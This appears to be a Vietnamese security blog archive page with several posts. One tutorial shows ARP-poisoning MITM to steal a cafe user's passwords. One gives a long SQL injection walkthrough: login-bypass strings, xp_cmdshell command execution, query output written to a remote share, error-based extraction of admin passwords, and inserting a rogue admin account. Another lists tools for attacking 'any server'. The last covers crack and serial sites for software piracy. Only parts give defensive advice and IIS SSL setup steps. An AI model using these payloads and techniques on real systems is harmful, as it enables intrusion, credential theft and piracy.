Hiển thị các bài đăng có nhãn CHS. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn CHS. Hiển thị tất cả bài đăng
Man In The Middle Attack (MITM)

Man In The Middle Attack (MITM)

Trong bài viết này tôi sẽ trả lời cho các bạn câu hỏi : (tính trong cùng LAN thôi, mặc dù kỹ thuật này xưa rồi nhưng vẫn hay lắm)
- "Nghe nén" là như thế nào ?
- hacker làm thế nào để ăn cắm dữ liệu nhạy cảm của bạn : password,địa chỉ các trang web bạn vào,...

Định nghĩa :
In cryptography, a man-in-the-middle attack (MITM) is an attack in which an attacker is able to read, insert and modify at will, messages between two parties without either party knowing that the link between them has been compromised. The attacker must be able to observe and intercept messages going between the two victims. The MITM attack can work against public-key cryptography and is also particularly applicable to the original Diffie-Hellman key exchange protocol, when used without authentication.

Nguồn : http://en.wikipedia.org/wiki/Man-in-the-middle_attack

Nói nôm na là hacker sử dụng phương pháp này để “nghe lén” hệ thống mạng và lấy cắp các thông tin nhạy cảm như username (tên đăng nhập), password (mật mã đăng nhập) hay các thông tin quan trọng khác.

Chẳng hạn tôi cùng mạng LAN với admin trang www.guru.net.vn, tôi muốn lấy chộm mật khẩu admin trang web này. (Ví dụ một hôm đẹp trời hắn ra hàng net ngồi và vào phần admin, mail,...; tôi cũng ngồi cùng hàng net đó.). Tôi quan tâm xem hắn vào trang web nào ? chat với ai,...
Vậy làm thế nào để tôi biết điều đó. MITM chính là cái tôi cần làm.

Chuẩn bị phần mềm (bài viết này tôi demo trên hệ điều hành Windows):
- ettercap (được mệnh danh là Lord Of The TokenRing) để làm arpspoof, dnsspoof
- ethereal để bắt các gói tin

Sau khi bạn cài hai công cụ trên, mọi thứ đã sẵn sàng.
Việc đầu tiên là xác định IP của Victim, cùng LAN nên dễ dàng biết thôi, hơn nữa các hàng net thường đánh số máy.
Khởi động ettercap, chọn chế độ Promisc mode


Chọn chế độ sniff:


Bấn Ctrl+S để scan host cùng mạng, sau đó bấm H để liệt kê các host.



Victim có IP là : 192.168.11.32 chẳng hạn. Add IP này vào target, bấm vào start để bắt đầu "lắng nghe".

Tiếp theo cần bật Ethereal và chọn card mạng để bắt đầu bắt gói tin. Khi đó các gói tin từ victim thay vì gửi đến đích ngay nó sẽ chuyển đến máy của tôi trước rồi mới chuyển đi. Quá trình này victim sẽ không hề hay biết. Nên phương pháp này gọi là nghe nén.
Chuyển lại ettercap, tôi bắt đầu tấn công ARP Poisioning bằng cách chọn trên menu Mitm, và check vào 2 ô của nó.


Chọn view connection để biết victim đang làm gì.

(Tác giả:Phạm Đức Hải)
From guru's blog
Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET

Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET

1. SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...


2. Tìm kiếm mục tiêu
Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.







3. Kiểm tra chỗ yếu của trang web
Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

Login: hi' or 1=1--
Password: hi' or 1=1--
http://yoursite.com/index.asp?id=hi' or 1=1--
Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp.
Ví dụ:


Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?
Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"

Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a


5. Thi hành lệnh từ xa bằng SQL Injection
Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--


Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.


6. Nhận output của SQL query
Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Chú ý: folder "share" phải được share cho Everyone trước.


7. Nhận dữ liệu qua 'database using ODBC error message'
Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".


8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:


http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.

/index.asp, line 5

Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5


9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table "admin_login" như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5


Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".


10. Nhận các numeric string
Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của "neo", có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Và bây giờ có thể login vào với username "neo2" và password là "newpas5"

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:

input do người dùng đệ trình
các tham số từ URL
các giá trị từ cookie
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dùng như:

xp_cmdshell
xp_startmail
xp_sendmail
sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.
Cài đặt SSL cho webserver

Cài đặt SSL cho webserver

TRÌNH TỰ CÀI ĐẶT SSL CHO WEB SERVER

Bước 1. Cài đặt Web Server (Microsoft IIS)

Bước 2. Cài đặt Certificate Service
Bước 3. Yêu cầu cung cấp giấy chứng nhận
Để tạo một Web Server Certificate, làm những bước sau:
1. Mở Internet Information Service (IIS) Manager (vào run gõ lệnh inetmgr) hay bằng cách nhấn vào Start/Programs/Administrative Tools/Internet Information Service (IIS) Manager.
2. Double-click vào tên server.
3. Nhấn phải chuột vào website mà bạn muốn cài đặt certiticate, chọn properties.
4. Nhấn vào tab Directory Security. Bạn sẽ thấy trong đó có ba phương pháp an ninh. Trong bài này bạn sẽ dùng Secure Communications.
5. Nhấn vào Sever Certificate. Màn hình Certificate Wizard sẽ xuất hiện. nhấn Next để tiếp tục.
6. Chọn Create a new certificate, rồi nhấn Next.
7. Chọn Prepare the request now, but send it later và nhấn Next.
8. Đánh vào tên cho certificate của bạn và chọn độ dài mã hóa (bit length). Nhấn Next.
9. Đánh vào tên của tổ chức và tên bộ phận trong tổ chức của bạn (ví dụ tên công ty và tên của bộ phận phát triển). Nhấn Next.
10. Nhập vào fully qulified domain name (FQDN) hoặc tên của máy tính trong mục Common Name. Nếu bạn tạo một certificate sẽ được dùng trên Internet, thì bạn phải dùng FQDN (ví dụ như http://www.microsoft.com/). Nhấn Next.
11. Nhập vào thông tin địa phương của bạn rồi nhấn Next.
12. Nhập vào đường dẫn và tên tập tin mà bạn sẽ lưu lại thông tin về certificate. Nhấn Next để tiếp tục.
13. Kiểm tra lại các thông tin mà bạn vừa nhập, và nhấn Next và finish để hoàn tất tiến trình này.
Bước 4. Gửi giấy chứng nhận.

1. Mở bộ duyệt web và đánh vào địa chỉ http://127.0.0.1/certsrv/
2. Chọn Request a Certificate và nhấn Next.
3. Chọn Advance Request và nhấn Next.
4. Chọn Submit a Certificate request using a Base64 và nhấn Next.
5. Mở tập tin mà bạn vừa tạo ở bước 3 mục 12 ở phần trên bằng ứng dụng Notepad.
6. Chọn tất cả và ra lệnh Edit/Copy.
7. Dán văn bản vừa copy vào ô Base64 Encoded Certificate request.
8. Nhấn vào nút Submit.
9. Nếu Certificate Server đang đặt ở chế độ Always Issue Certificate, bạn có thể truy cập ngay bằng cách:
  • a. Nhấn vào Download CA certificate.
  • b. Sau đó, chọn Save this file to disk và lưu giấy chứng nhận vào một nơi nào đó trên đĩa và ghi nhớ nơi này.
  • c. Đi tới bước 6 để tiếp tục. Nếu Certificate Server đang đặt chế độ Set the certificate request status to pending, bạn sẽ nhận được một thông báo “Certificate pending”. Đến bước 5 để tiếp tục.
Bước 5. Phát hành và tải xuống giấy chứng nhận.

1. Mở Certificate Athority (MMC) bằng cách nhấn vào Start/Programs/Administrative Tools/Certificate Authority.
2. Mở Certificate authority.
3. Nhấn vào mục Pending request. Giấy chứng nhận chưa giải quyết của bạn sẽ xuất hiện bên khung phải màn hình.
4. Nhấn phải chuột vào giấy chứng nhận chờ phát hành chọn All Task rồi nhấn Issue. Lúc này nó sẽ không còn xuất hiện trong màn hình này nữa và được chuyển sang mục Issued Certificate.
5. Sau khi đã phát hành giấy chứng nhận, bạn trở lại giao diện Certificate Servers web để chọn và tải xuống giấy chứng nhận này bằng cách.
  • b. Tại đây chọn Check on a pending certificate rồi nhấn Next.
  • c. Chọn giấy chứng nhận rồi nhấn Next.
  • d. Tại trang tải xuống này, nhấn vào liên kết Dowload CA Certificate.
  • e. Chọn Save this to disk và lưu nó vào đĩa và ghi nhớ nơi này.
Bước 6. Cài đặt giấy chứng nhận vào SSL website

1. Mở Internet Services Manager rồi mở ra server mà bạn cần thiết lập.
2. Nhấn chuột phải vào Web site áp đặt giấy chứng nhận rồi nhấn Propersties.
3. Nhấn vào trang Directory Security. Trong phần Secure communications nhấn Server Certificate. Điều này sẽ hiện ra Certificate Istalation Wizard. Nhấn Next để tiếp tục.
4. Chọn Process the pending request and install the certificate và nhấn Next.
5. Nhập vào vị trí và tập tin ở bước 5 mục e, rồi nhấn Next. Tại đây sẽ hiển thị một số thông tin. Kiểm tra lại rồi nhấn Next.
6. Nhấn vào nút Finish để kết thúc.

Bước 7. Cấu hình và kiểm tra.

1. Cũng trong màn hình ở bước 6. Tại trang Directory security, phần Secure Communications sẽ có ba lựa chọn. Để thiết lập kết nối bảo mật nhấn vào Edit. Hộp thoại Secure Communication xuất hiện.
2. Chọn Require Secure channel (SSL), rồi nhấn OK.
3. Nhấn Apply rồi nhấn OK.
4. Kiểm tra lại bằng cách mở bộ duyệt.
  • a. Đánh vào địa chỉ http://localhost/postinfo.html. Bạn sẽ nhận được một thông báo lỗi như sau: HTTP 403.4 – Fobiden: SSL require.
  • b. Làm lại bước trên bằng https://localhost/postinfo.html.c. Bạn sẽ nhận được một thông báo an ninh. Nhấn Yes để tiếp tục.
Tự trang bị công cụ trước khi ..........

Tự trang bị công cụ trước khi ..........

Tự trang bị công cụ cho mìnnh :

- Trước tiên bạn cần 1 shell account, cái này thực sự quan trọng đối với bạn.1 shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần phải cài chương trình GCC (rất quan trọng trong việc dịch (compile) các exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng hơn DOS shell.Bạn có thể kiếm shell account ở đâu ? Thông thường khi bạn cài *nix thì bạn sẽ có 1 shell account, nếu bạn không cài *nix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài *nix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start --> Run --> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
....
Các bạn có thể tự tìm thêm và chọn cho mình 1 shell account ưng ý.
- NMAP : Công cụ quét cực nhanh,mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang chạy trên server (services/ports:webserver,ftpserver,pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol,Null scan,TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/
Download : Nmap 2.54 Beta 30 for Windows
NmapNT - A Win32 port of nmap v 2.53

Stealth HTTP Security Scanner : Công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác.
Download : Stealth HTTP Security Scanner v2.0 Build 36

IntelliTamper : Công cụ hiển thị cấu trúc của 1 Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục, file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack 1 Website thì bạn phải nắm 1 số thông tin của Admin và Website đó.
Download : IntelliTamper v2.07

- Netcat : Công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình, script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu (tất nhiên là khi Netcat đã được cài trên 1 server bị lỗi). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/
Download : Netcat 1.10 for Unix
Netcat 1.10 for WinNT
Netcat* (+ twofish encryption)
Netcat 1.10 for NT* (+ twofish encryption)

Active Perl : Công cụ đọc các file Perl đuôi *.pl vì các exploit thường được viết bằng Perl .
Download : Active Perl

L0phtCrack : Công cụ số một để Crack Password của Windows NT/2000 .
Download : L0phtCrack 3.0
L0phtCrack 4.0

- Linux : Hệ điều hành hầu hết các hacker đều sử dụng.

-Cuối cùng là thông tin về vulnerabilities và các exploits (thường được viết bằng C,perl) được cập nhật thường xuyên trên các Website sau :
Bugtraq
Xploits
Tlsecurity
Ossr.phpwebhosting
Securityfocus
Htsecurity
MegaSecurity
EyeonSecurity

Hy vọng bài viết này giúp bạn tự trang bị cho mình những công cụ cần thiết để có thể tấn công bất kỳ server nào.

Copy from Nguyen Truong My Nu's Blog
Doc xong dien luon
Cách tìm serial crack trên mạng internet

Cách tìm serial crack trên mạng internet

Cách 1 : Để tìm kiếm crack - serial - keygen có rất nhiều cách, cách đơn giản nhất là bạn truy cập vào những địa chỉ cung cấp crack -serial-keygen trên mạng, những địa chỉ này thì có rất nhiều, nhưng xin giới thiệu 1 số địa chỉ rất tốt sau:

http://www.crackdb.com/
http://lomalka.ru/
http://www.freeserials.com/
http://www.serials.ws/
http://www.crackz.ws/
http://www.crackspider.net/
http://www.serialz.to/
http://download-crack-serial.com/
http://iceddl.com/
http://www.ddl2.com/

Sau khi vào các trang này, bạn hãy tìm ô tìm kiếm của nó ( có thể ghi là Search hoặc Find) , bạn đánh tên phần mềm và phiên bản vào để tìm.

VD: ở trang lomalka.ru bạn đánh vào ô Find của nó "WebcamXP 1.07.080"

(không có dấu ngoặc kép , giữa tên và phiên bản có 1 khoảng trắng) và gõ Enter , 1 list crack sẽ hiện ra, bạn click chọn đúng phiên bản thích hợp và khi trang mới hiện ra bạn click nút "Special Button" để download.

Trong giao diện trang Lomalka.ru, gõ tên phần mềm vào trường Find của nó và gõ enter để tìm.
Khi trang này hiện ra click nút "Special Button" để download crack về.

Trong trang Crackdb.com thì bạn tìm ô search ở bên tay phải của nó, gõ tên phần mềm và phiên bản như trên, ở dưới chọn là App nếu tìm crack cho phần mềm (App= Application = Ứng dụng hay phần mềm), click chọn Game nếu tìm Crack cho Game, nhấn ENTER để tìm, nếu có thì nó sẽ hiện ra 1 danh sách các crack, bạn click vào crack thích hợp , và làm theo hướng dẫn để download crack về.

Gõ tên phần mềm cần tìm vào trường search ở bên phải, chọn Apps nếu tìm crack cho phần mềm, và chọn game nếu tìm crack cho game.

Danh sách kết quả hiện ra, bạn chọn 1 link thích hợp và click vào.
Khi trang này hiện ra click nút Download để download crack về.

Cách thứ 2 : Bạn có thể tìm kiếm crack trong Google, cách này chỉ hiệu quả với những phần mềm phổ biến và dễ tìm crack, Để tìm crack của phần mềm nào thì bạn gõ cụm sau
"Tên_phần_mềm"+"crack" hoặc "tên_phần_mềm"+"serial" để tìm crack hoặc serial, chú ý là có dấu ngoặc kép, và tên phần mềm phải kèm với phiên bản nữa ( có 1 khoảng trắng giữa tên và phiên bản).

Sau khi bạn ấn ENTER thì 1 list các địa chỉ chứa crack sẽ hiện ra, bạn sẽ tìm ở những địa chỉ mà bạn cho nó dễ có nhất ( dựa vào kinh nghiệm), thông thường những link đầu tiên bao giờ cũng đáng tin cậy và dễ có nhất. Bạn có thể dùng cách này để tìm link download phần mềm với chuỗi tìm kiếm là "tên_phần_mềm"+"download" hoặc "tên_phần_mềm"+"homepage".

Một số kinh nghiệm:

- Trong crackdb.com bạn nên chỉ gõ tên phần mềm chứ không thêm phiên bản vào, khi danh sách hiện ra hãy tìm phiên bản bạn cần và click vào
- Nếu bạn đang có phiên bản mới nhất của một phần mềm và chưa tìm thấy crack/keygen cho phiên bản này, hãy thử dùng crack/keygen của phiên bản cũ hơn một chút. Chúng có thể sẽ vẫn làm việc với phiên bản mới.
(tham khảo thêm cách tìm crack trong bài GoogleHack trong phần tìm kiếm)

Cách thứ 3 : Muốn tìm số serial cho 1 phần mềm bất kỳ bạn chỉ cần download về chương trình Serial 2005 , đây là chương trình tập hợp số serial của tất cả các phần mềm có dùng số serial, do nhóm Serials2000 tạo ra , bạn có thể vào trang chủ www.s2kboard.org để download chương trình tuyệt vời này, hoặc bạn tìm nó trong www.ddth.com , subbox Giới thiệu phần mềm với từ khóa Serials 2005 hoặc trong www.vozforums.com, subbox [Download] Phần mềm.

Khi bạn đã cài đặt chương trình này rồi, lần đầu tiên chạy nó sẽ hỏi password, đánh vào www.s2kboard.org là password của nó, sau đó bạn có thể vào mục Option, và bỏ chọn PassWord Protect để lần sau mỗi khi chạy nó không bắt bạn gõ Password vào. Đây là giao diện của chương trình:

Để tìm số serial của 1 phần mềm bạn chỉ việc đánh tên phần mềm vào ô search và click nút search để tìm số serials của phần mềm đó. Tỷ lệ tìm thấy số serials của chương trình này là rất cao, và hầu như mọi phần mềm đều có.

Cách thứ 4 : Sử dụng các phần mềm như CrackDown 2.0 , Craagle 1.91,Crack Buster, Crack Wizard để tìm crack hoặc serials, bạn download CrackDown 2.0 tại http://www.in4matics.4t.com/ , chương trình này có giao diện thân thiện và đẹp mắt, chương trình này làm việc nhanh chóng, bạn đánh tên phần mềm và phiên bản vào trường search, chọn số lượng sites sẽ tìm kiếm ở trong đó, chọn tìm crack hay serials, sau đó click nút search để bắt đầu tìm kiếm, nếu đã thấy crack hiện ra bạn có thể ấn Stop All để dừng search lại, click nút Download để download các crack đã tìm thấy về, thường chúng được lưu vào 1 thư mục là CrackdownStore trên ổ cứng chứa CrackDOwn.

Nếu sử dụng ngòai hàng NET thì bạn copy crack vào đĩa mềm hoặc ổ USB mang về dùng. Chúc bạn tìm được serials và cracks một cách nhanh chóng nhất.
Nếu bạn không thể tìm được crack, serial theo các cách trên thì bạn có thể yêu cầu crack - serial trên các diễn đàn tin học trên mạng( VD như www.ddth.com, www.vozforums.com, www.gamevn.com/forum, www.updatesofts.com hay www.manguon.com,), hoặc yêu cầu tại các diễn đàn của các cracker VN như www.reaonline.net hay www.hvaonline.net, hoặc nếu bạn khá Tiếng Anh có thể vào các diễn đàn/Website/kênh chát IRC(EFNET) của các nhóm cracker để xin họ crack dùm.

Danh sách các máy tìm kiếm serial keygen crack software

Crack search engines Máy tìm kiếm crack là một Website cho phép tìm kiếm crack của một phần mềm, crack đó có thể nằm trên chính Website đó hoặc trên một Website khác.

Chú ý: Bỏ ký hiệu / đi trong thanh địa chỉ

Crack Sites : Cracks.Am, KeyGen.Us, AllCracks.Net, Andr.Net, Crack.Ms, Crackz.Ws, CrackArchive.Com, CrackDb.Com, CrackzPlanet.Com, CrackWay.Com, MsCracks.Com, CrackPortal.Com, TheCracks.Us, KeyGen.Ru

Serial Sites : Seriall.Com, FreeSerials.Com, SerialSite.Com, Serials.Ws, Andr.Net, SerialKey.Net, SerialArchive.Com, CrackzPlanet.Com, MsCracks.Com, CrackPortal.Com, KeyGen.Name, TheKeys.Ws, FreeSerials.Ws, FreeSerials.Spb.Ru, Serial.220volt.Info, SerialCodes.Net

Cover Site:

http://covertarget.com/
http://coverall.come.to/
http://coverisland.com/
http://astalavista.box.sk/
http://www.crackcrawler.net/cgi/search.php4

The BEST metasearch for cracks :

http://kickme.to/crackwar (very good can search 23 engines from 1 page )
http://www.megasearch.ws/ (search the main engines from here )
http://www.bugs2k.com/ (a good search site with minimal popups )
http://www.andr.net/index.php (another good one )
http://crackazoid.com/
http://keygen.net/s.htm
http://www.hksoftking.com/v.php
